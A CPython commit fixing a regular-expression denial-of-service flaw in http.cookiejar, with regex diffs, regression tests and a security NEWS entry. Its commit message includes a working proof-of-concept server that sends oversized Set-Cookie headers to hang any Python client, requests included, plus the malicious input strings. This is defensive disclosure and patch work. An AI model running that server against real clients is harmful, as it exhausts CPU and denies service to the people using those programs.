bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344)

vstinner · bcaller · web-flow · commit 55a6a16a4623 · 2020-04-02T18:37:32.000-07:00
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) # Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 # Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): # Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bf) Co-authored-by: bcaller <bcaller@users.noreply.github.com>
diff --git a/Lib/http/cookiejar.py b/Lib/http/cookiejar.py
@@ -216,10 +216,14 @@ def _str2time(day, mon, yr, hr, min, sec, tz):
        (?::(\d\d))?    # optional seconds
     )?                 # optional clock
        \s*
-    ([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+)? # timezone
+    (?:
+       ([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+) # timezone
+       \s*
+    )?
+    (?:
+       \(\w+\)         # ASCII representation of timezone in parens.
        \s*
-    (?:\(\w+\))?       # ASCII representation of timezone in parens.
-       \s*$""", re.X | re.ASCII)
+    )?$""", re.X | re.ASCII)
 def http2time(text):
     """Returns time in seconds since epoch of time represented by a string.
 
@@ -289,9 +293,11 @@ def http2time(text):
       (?::?(\d\d(?:\.\d*)?))?  # optional seconds (and fractional)
    )?                    # optional clock
       \s*
-   ([-+]?\d\d?:?(:?\d\d)?
-    |Z|z)?               # timezone  (Z is "zero meridian", i.e. GMT)
-      \s*$""", re.X | re. ASCII)
+   (?:
+      ([-+]?\d\d?:?(:?\d\d)?
+       |Z|z)             # timezone  (Z is "zero meridian", i.e. GMT)
+      \s*
+   )?$""", re.X | re. ASCII)
 def iso2time(text):
     """
     As for http2time, but parses the ISO 8601 formats:
diff --git a/Lib/test/test_http_cookiejar.py b/Lib/test/test_http_cookiejar.py
@@ -122,6 +122,13 @@ def test_http2time_garbage(self):
                               "http2time(%s) is not None\n"
                               "http2time(test) %s" % (test, http2time(test)))
 
+    def test_http2time_redos_regression_actually_completes(self):
+        # LOOSE_HTTP_DATE_RE was vulnerable to malicious input which caused catastrophic backtracking (REDoS).
+        # If we regress to cubic complexity, this test will take a very long time to succeed.
+        # If fixed, it should complete within a fraction of a second.
+        http2time("01 Jan 1970{}00:00:00 GMT!".format(" " * 10 ** 5))
+        http2time("01 Jan 1970 00:00:00{}GMT!".format(" " * 10 ** 5))
+
     def test_iso2time(self):
         def parse_date(text):
             return time.gmtime(iso2time(text))[:6]
@@ -181,6 +188,12 @@ def test_iso2time_garbage(self):
                               "iso2time(%s) is not None\n"
                               "iso2time(test) %s" % (test, iso2time(test)))
 
+    def test_iso2time_performance_regression(self):
+        # If ISO_DATE_RE regresses to quadratic complexity, this test will take a very long time to succeed.
+        # If fixed, it should complete within a fraction of a second.
+        iso2time('1994-02-03{}14:15:29 -0100!'.format(' '*10**6))
+        iso2time('1994-02-03 14:15:29{}-0100!'.format(' '*10**6))
+
 
 class HeaderTests(unittest.TestCase):
 
diff --git a/Misc/ACKS b/Misc/ACKS
@@ -227,6 +227,7 @@ Zach Byrne
 Vedran Čačić
 Nicolas Cadou
 Jp Calderone
+Ben Caller
 Arnaud Calmettes
 Daniel Calvelo
 Tony Campbell
diff --git a/Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst b/Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst
@@ -0,0 +1 @@
+Fixes a ReDoS vulnerability in :mod:`http.cookiejar`. Patch by Ben Caller.

Original file line number	Diff line number	Diff line change
`@@ -0,0 +1 @@`
	`1`	+Fixes a ReDoS vulnerability in :mod:`http.cookiejar`. Patch by Ben Caller.